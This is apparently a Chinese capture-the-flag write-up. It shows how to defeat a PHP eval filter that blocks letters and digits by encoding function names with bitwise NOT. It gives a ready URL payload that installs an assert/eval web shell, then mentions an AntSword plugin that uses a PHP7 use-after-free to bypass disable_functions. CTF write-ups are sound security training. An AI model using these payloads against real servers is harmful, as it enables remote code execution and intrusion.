本题知识点
- 取反绕过正则coderce
- php7disable_functions
打开页面得到源码
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
正则限制了所有的字母跟数字位数限制在40位内,直接获取取反后的值
echo urlencode(~'phpinfo');
得到
%8F%97%8F%96%91%99%90
利用php7的特性去执行命令
?code=(~%8F%97%8F%96%91%99%90)();
可以看到system、exec、shell_exec等命令执行的函数都被Ban了,先构造个Shell连上看一下:
我们要取反后还得到以下结果
(assert)((eval(_POST[cmd])));
把里面assert跟后面的一句话取反即可
<?php
echo urlencode(~'assert')."\n";
$b='(eval(_POST[cmd]))';
echo urlencode(~$b)."\n";
?>
最后payload为
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
然后连接发现根目录下有flag但是没有读取权限,但是有应该readfile,那么就是通过运行readfile去获取flag
但是我们现在没有办法执行命令
蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF,成功的话点击开始就会得到一个新窗口,没有成功就多尝试几次
运行得到终端,运行/readflag获得Flag: